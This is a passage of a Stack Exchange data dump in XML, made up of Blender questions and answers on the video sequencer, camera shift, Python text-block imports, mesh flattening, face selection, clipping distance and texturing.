  <row Id="5184" PostTypeId="1" CreationDate="2013-11-30T09:38:10.333" Score="3" ViewCount="951" Body="&lt;p&gt;Initially I had done my video in a portrait size 9x16, but now I want to make it wider - something like 16x16. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I changed the render size, but now all the strips are resized (not proportionally too) to fit the new size. I know that by checking the Image Crop property and adjusting Image Offset I can have the strip stay in the input size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have many strips, is there a way to apply these settings for multiple strips. Is there some plugin or script?&lt;/p&gt;&#xA;" OwnerUserId="1715" LastEditorUserId="1112" LastEditDate="2014-06-26T07:39:39.523" LastActivityDate="2014-06-26T07:39:39.523" Title="Adjust the image offset and image crop for multiple strips" Tags="&lt;image&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5185" PostTypeId="2" ParentId="5183" CreationDate="2013-11-30T09:47:52.040" Score="8" Body="&lt;p&gt;It seems this is not possible to do the same way as Yafaray, however you can do it with camera positioning and tweaking the &lt;em&gt;Shift&lt;/em&gt; values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Camera/Perspective#Two_Point_Rendering&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt; Two Point Rendering&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;Normal architectural&#xA;  rendering is called two point rendering; when vertical lines are&#xA;  parallel, and horizontals, if followed out to the side, converge on&#xA;  one point, and receding or depth lines converge to a second point.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Architects often like this Two-Point rendering, so that the sides of&#xA;  their buildings are completely vertical and don't appear to be falling&#xA;  inward. This is also quite nice for compositions and schematics, given&#xA;  that the lines of the paper you print on and the screen you view with&#xA;  are also straight. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Previously to get a 2-point perspective, you had to&#xA;  aim the camera level to the horizon, however this resulted in the top&#xA;  half of the building being cut off and the horizon being in the exact&#xA;  middle, which looks very boring. Architectural photographers use&#xA;  'shift lenses' to solve this problem. Shift lenses shift the image to&#xA;  another place on the film. Two Point Horizontal Render This technique&#xA;  works well for high buildings as well as for normal sized objects.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Most of the time, the two vanishing points are horizontal and depth&#xA;  lines, with the vertical lines parallel. However, some titles are done&#xA;  with the horizontal lines parallel, and the vertical and depth lines&#xA;  having the vanishing point. This dramatizes and exaggerates the&#xA;  massiveness and height of the title.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To get this effect, position the camera at ground level, centered,&#xA;  angle the camera upward, and shift the render passpartout down. In the&#xA;  example, the camera is rotated 30 degrees upward, at ground level with&#xA;  the title. A bright key light with a short falloff provides dramatic&#xA;  lighting that is bright in the middle and falls off toward the sides,&#xA;  further enhancing the depth. &lt;/p&gt;&#xA;  &#xA;  &lt;h2&gt;To achieve 2-point rendering:&lt;/h2&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Use a short wide angle lens camera, say with a Lens Size of 10 mm placed close to the building, or a long lens farther away from the&#xA;  building. These differences affect the depth of the building render,&#xA;  with longer lenses making the building appear thinner and less&#xA;  dramatic or distorted. The example uses a 40mm lens. &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Position the camera off to one side of the object, vertically halfway up the building to minimize distortion of the vertical&#xA;  building edges. You may alter this vertical (Z value) position to be&#xA;  slightly higher than ground level or higher than the top (if you want&#xA;  to see the top of the object or building). To show the front bottom&#xA;  corner of the building jutting out, raise up the camera. &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Angle the camera to be looking away from the building and directly level at the horizon - not pointed up or down (note the 20 degree Z&#xA;  angle in the example). This should make the vertical lines parallel.&#xA;  The more the camera looks at the object, the closer the vanishing&#xA;  point for the horizontal lines, and perceived depth will increase as&#xA;  that vanishing point gets closer as well. &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;You may have to angle the camera slightly down (just 1 degree or so) so that vertical lines appear vertically up and down, both near&#xA;  and far. If the lines are curved, use a longer lens. With your 3D View&#xA;  set to Camera view, use the passpartout or pixels on your monitor to&#xA;  determine vertical. &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Move the camera toward/away from the object until it appears near a corner of the render and is the right size. &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Adjust the Shift: X and Y settings until your object is positioned properly.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;E.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a normal camera setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9kDj6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the camera setup as described in the wiki:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LzryH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-01T00:37:36.303" LastActivityDate="2013-12-01T00:37:36.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5186" PostTypeId="2" ParentId="5184" CreationDate="2013-11-30T10:58:17.000" Score="4" Body="&lt;p&gt;I found a solution, there is a script called &lt;strong&gt;Extra Sequencer Actions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Sequencer/Extra_Sequencer_Actions&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Sequencer/Extra_Sequencer_Actions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?248129-Extra-Sequencer-Actions&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?248129-Extra-Sequencer-Actions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I came across it they were mainly talking about batch editing proxies. But after installation I found it had and many sub menus under the Strip menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It behaves as desired. &lt;/p&gt;&#xA;" OwnerUserId="1715" LastActivityDate="2013-11-30T10:58:17.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5187" PostTypeId="1" AcceptedAnswerId="5188" CreationDate="2013-11-30T13:28:18.667" Score="7" ViewCount="875" Body="&lt;p&gt;Is &lt;code&gt;import another_blender_text_block&lt;/code&gt; possible in Blender with Python?&lt;/p&gt;&#xA;" OwnerUserId="1491" LastEditorUserId="599" LastEditDate="2013-11-30T23:22:34.913" LastActivityDate="2013-11-30T23:22:34.913" Title="Python: is it possible to import another text block?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5188" PostTypeId="2" ParentId="5187" CreationDate="2013-11-30T14:18:23.177" Score="8" Body="&lt;p&gt;Yes it is possible. Name your text block (with .py on the end, otherwise you can't import it). You can import a text block using the text block's name without it's extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import mypythonfile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to run a function use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mypythonfile.functionname()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-11-30T16:43:31.707" LastActivityDate="2013-11-30T16:43:31.707" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5189" PostTypeId="1" AcceptedAnswerId="5190" CreationDate="2013-11-30T14:26:46.703" Score="13" ViewCount="28256" Body="&lt;p&gt;I have a mesh I generated by converting a beveled curve to a mesh. The result is very useful, but I would like to make one curved part of it flat. Can this be done without selecting each face and moving it?&lt;/p&gt;&#xA;" OwnerUserId="1250" LastEditorUserId="599" LastEditDate="2013-11-30T19:36:17.187" LastActivityDate="2013-11-30T19:36:17.187" Title="Flatten a Curved Section of a Mesh" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5190" PostTypeId="2" ParentId="5189" CreationDate="2013-11-30T14:31:35.513" Score="11" Body="&lt;p&gt;You can do this fairly easily if you use proportional editing and scaling.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn on proportional editing:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qpOrz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the top layer of vertices using box select:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8Tg8v.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale (&lt;kbd&gt;S&lt;/kbd&gt;) along the Z axis (&lt;kbd&gt;z&lt;/kbd&gt;) then press 0 to scale it it flat. Scroll your mouse wheel to adjust how much of the mesh it affects:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Mqg5x.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And you get:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3LALs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If your curve isn't flat like in the previous example, it's still possible, it just takes a little more work.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edge loops around the area you want to flatten (using &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;em&gt;Right click&lt;/em&gt;):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sdHYS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pull them out to be flat with the middle edge loop.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;-Select the middle edge loop and push all of them in:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gr61x.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Continue tweaking it until it's flat enough:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jB64P.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-30T14:40:48.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5191" PostTypeId="1" AcceptedAnswerId="5207" CreationDate="2013-11-30T16:13:47.453" Score="2" ViewCount="127" Body="&lt;p&gt;An &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_4/blf.html#hello-world-text-example&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt; demonstrates the use of the OpenGL Wrapper (bgl) to print text, it loads a font from an external file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can a font id of an internaly available font queried?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blf.position(font_id, (width * 0.2), (height * 0.3), 0)&#xA;blf.size(font_id, 50, 72)&#xA;blf.draw(font_id, &quot;Hello World&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-01T08:14:50.673" Title="How can font-ids of internal fonts be retrieved?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5192" PostTypeId="2" ParentId="5189" CreationDate="2013-11-30T17:03:20.510" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Select the faces you want to flatten, then delete;&lt;/li&gt;&#xA;&lt;li&gt;Select the two border lines, press &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;strong&gt;Bridge Edge Loops&lt;/strong&gt;, to create linked faces between them;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;F6&lt;/kbd&gt; to tweak number of cuts for the flat-curved faces.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kqR7v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6NsDh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-11-30T17:03:20.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5193" PostTypeId="1" CreationDate="2013-11-30T19:15:21.103" Score="2" ViewCount="265" Body="&lt;p&gt;I want to let the GPU create a mipmap for the framebuffer texture that's available as &lt;strong&gt;bgl_RenderedTexture&lt;/strong&gt; in the custom filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shouldn't be difficult. I just put some code into the post_draw list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;glBindTexture(GL_TEXTURE_2D, bgl_RenderedTexture);&#xA;glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);&#xA;glGenerateMipmap(GL_TEXTURE_2D);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But there's no variable bgl_RenderedTexture. Is there a way to get the texture name for the framebuffer?&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2013-11-30T19:15:21.103" Title="Get name of bgl_RenderedTexture in Python" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5194" PostTypeId="2" ParentId="5167" CreationDate="2013-11-30T19:26:47.183" Score="10" Body="&lt;p&gt;The diffuse shader scatters the light in all directions. But most of the light is scattered along the surface normal. A high roughness value spreads the light more evenly in all directions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the right value is depends on the material you want to simulate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better: If you have a roughness of 0, the amount of light a surface reflects depends mostly on how much the surface is facing the light source. &lt;/p&gt;&#xA;" OwnerUserId="1717" LastEditorUserId="1717" LastEditDate="2013-11-30T19:34:33.013" LastActivityDate="2013-11-30T19:34:33.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5196" PostTypeId="1" AcceptedAnswerId="5197" CreationDate="2013-11-30T21:39:33.890" Score="5" ViewCount="379" Body="&lt;p&gt;Oftentimes I like to make the edges of a beveled object use a separate material than the actual object itself.  For example, the bevel on a table, a picture frame, or a door frame might be different than the material in the center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I select the adjacent faces around an object &amp;mdash; as seen on the left &amp;mdash; the middle face is always selected.  This means that I cannot set the middle face's texture to something other than its surrounding faces.  On the right is an example of what I want, achieved with face-select mode.  Unfortunately, it doesn't work with vertex groups.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kQ7tv.png&quot; alt=&quot;Selecting adjacent faces auto-selects the middle one&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a straightforward way to set different materials under these circumstances in one object.&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="599" LastEditDate="2013-11-30T23:17:01.967" LastActivityDate="2013-11-30T23:17:01.967" Title="Can vertices around a face be selected without the face selected?" Tags="&lt;mesh&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5197" PostTypeId="2" ParentId="5196" CreationDate="2013-11-30T21:46:58.470" Score="3" Body="&lt;p&gt;The reason it selects the middle face as well is because you are in vertex select mode. To select the outer faces without selecting the middle one, switch to face select mode &lt;img src=&quot;https://i.stack.imgur.com/kbiZm.png&quot; alt=&quot;enter image description here&quot;&gt; and do so (you can cycle through the selection modes with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;).  To select the loop (the vertices going around the middle face), you can hold &lt;kbd&gt;Alt&lt;/kbd&gt; while right clicking on an edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QnPhK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-11-30T21:46:58.470" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5198" PostTypeId="1" AcceptedAnswerId="5199" CreationDate="2013-11-30T23:31:02.463" Score="11" ViewCount="7948" Body="&lt;p&gt;I created a thick glass bottle and duplicated the interior faces to make a new object to create the liquid inside. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went in the edit mode, selected the faces I wanted to copy and duplicated them with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;. Then I pressed &lt;kbd&gt;P&lt;/kbd&gt; to  separate the duplicated faces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I try to make a duplicate of that liquid to make it flow out of the bottle, and I simply need the duplicate of one face of it. So I go to edit mode and do as I did to make the liquid from the bottle faces... but as soon as I'm back to the object mode and I want to move the duplicated faces, every thing moves with it... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I played around and tried things, and while doing so I realized that if I dupe the liquid object in object mode using &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; and press &lt;kbd&gt;0&lt;/kbd&gt; to place it where the original is, they move together if I duplicate it and place it somewhere else so that they are separated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if I pick one of the two separated objects and make it intersect with the other one, release my left mouse button to place it there, and then try to move it again, they both move together, but not at the same speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't understand what is going on and I'm sure it's really badly explained, so what I'll do is make a screen capture of my Outliner and record the behavior of the objects and upload those to help you understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://lh5.googleusercontent.com/cxMYk3XNOJJC2OLnpQ-s-8nFMHh5yyZL8e9j4VGrelgmcE-0QbUOzXZT39SX6C90iw=w1808-h807&quot; alt=&quot;My outliner&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1719" LastEditorUserId="599" LastEditDate="2013-12-01T00:14:24.267" LastActivityDate="2020-07-23T10:03:04.897" Title="Nearby objects won't move independently?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-01T00:30:05.080" ContentLicense="CC BY-SA 3.0" />
  <row Id="5199" PostTypeId="2" ParentId="5198" CreationDate="2013-11-30T23:50:54.523" Score="17" Body="&lt;p&gt;This is a guess, but it sounds like you might have &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/controls/proportional_editing.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Proportional editing&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;O&lt;/kbd&gt;) enabled.&lt;/p&gt;&#xA;&lt;p&gt;See if it is enabled in &lt;em&gt;3D view &amp;gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sfW9M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sfW9M.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.7x&lt;/strong&gt;: &lt;img src=&quot;https://i.stack.imgur.com/3cboD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;You can disable it by pressing &lt;kbd&gt;O&lt;/kbd&gt; or clicking the icon in &lt;em&gt;3D view &amp;gt; Header&lt;/em&gt;: &lt;a href=&quot;https://i.stack.imgur.com/HkrcP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HkrcP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.7x&lt;/strong&gt;: &lt;img src=&quot;https://i.stack.imgur.com/vnHOv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="31447" LastEditDate="2020-07-23T10:03:04.897" LastActivityDate="2020-07-23T10:03:04.897" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="5200" PostTypeId="1" AcceptedAnswerId="5279" CreationDate="2013-12-01T03:03:58.760" Score="4" ViewCount="563" Body="&lt;p&gt;So I want to sculpt on that object I have made, and when I do so, practicaly nothing happens. And then I try with a new project, with the original cube, and the factory settings but still nothing happens. I have dynamic topology enabled, and so when I get into wireframe mode, I can see the fancy triangle, but no depth to them, the brush tool only ads triangle... so if you have any idea of what's going on feel free&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://imageshack.com/a/img600/3905/by1v.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;sculpt tool http://imageshack.com/a/img600/3905/by1v.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1719" LastEditorUserId="1574" LastEditDate="2013-12-02T15:43:05.550" LastActivityDate="2013-12-04T04:22:43.443" Title="Sculpting brush tool only makes fancy triangles, no depth" Tags="&lt;sculpting&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5201" PostTypeId="1" AcceptedAnswerId="5202" CreationDate="2013-12-01T03:13:03.753" Score="32" ViewCount="111933" Body="&lt;p&gt;I have created a simple model here&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SsFya.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When rendering it the end of it is cut off&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VtHg0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the camera to render a longer distance?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="2617" LastEditDate="2014-10-28T20:56:02.130" LastActivityDate="2019-06-15T22:53:15.210" Title="How do I increase the render distance?" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="5202" PostTypeId="2" ParentId="5201" CreationDate="2013-12-01T03:26:19.573" Score="58" Body="&lt;p&gt;The camera can only see the geometry that is within a range defined by the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/camera.html?highlight=clipping#clipping&quot; rel=&quot;noreferrer&quot;&gt;clipping distance&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything that that closer of further away from that distance range will be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the camera object selected, increase its &lt;strong&gt;End&lt;/strong&gt; clipping distance in &lt;em&gt;Properties &gt; Camera settings &gt; Lens&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.79 and earlier versions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zDHwi.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3ajF5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ajF5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To visualize the camera clip distance select the camera and enable &lt;strong&gt;Display&lt;/strong&gt; &gt; &lt;strong&gt;Limits&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uhtp2.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uhtp2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.8 enable Viewport Display&gt; Limits&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3YuNT.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3YuNT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorDisplayName="user1853" LastEditDate="2019-06-15T22:53:15.210" LastActivityDate="2019-06-15T22:53:15.210" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="5203" PostTypeId="1" AcceptedAnswerId="5204" CreationDate="2013-12-01T05:17:02.383" Score="10" ViewCount="29894" Body="&lt;p&gt;I have build a basic house but I would like to use different textures for the roof and walls. Here is what I have now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/98wfg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The brick texture is on the roof when i want it to be a different texture&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2013-12-01T07:12:12.927" Title="How do you apply a texture to select faces of a mesh" Tags="&lt;texturing&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5204" PostTypeId="2" ParentId="5203" CreationDate="2013-12-01T05:42:10.753" Score="14" Body="&lt;p&gt;The simplest way if the texture isn't UV-mapped, is to assign each face to separate materials in Edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uksip.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then assign appropriate texture to each material, as needed. Otherwise if the texture uses UV map, just separate the UV maps for both sections of the object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BbuVJ.png&quot; alt=&quot;2a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then paint each sections with the appropriate color (the roof is the top section, in this picture).&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-01T05:42:10.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5205" PostTypeId="2" ParentId="5200" CreationDate="2013-12-01T06:16:07.610" Score="2" Body="&lt;p&gt;It sounds like the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Sculpt_Mode#Sculpt_Properties_Panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Strength&lt;/em&gt;&lt;/a&gt; is set very low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting it to a higher value:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pMuJB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-01T06:31:41.343" LastActivityDate="2013-12-01T06:31:41.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5206" PostTypeId="2" ParentId="5203" CreationDate="2013-12-01T06:30:15.837" Score="3" Body="&lt;p&gt;You can also create a separate UV layer in &lt;em&gt;Object Data &gt; UV maps&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RSPts.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Blender Internal:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Assign a different material to the roof faces, then select the alternate UV map in the material texture settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FnVZQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In cycles the alternate UV map can be selected in a node setup with the &lt;em&gt;Attribute node&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SlmMR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See 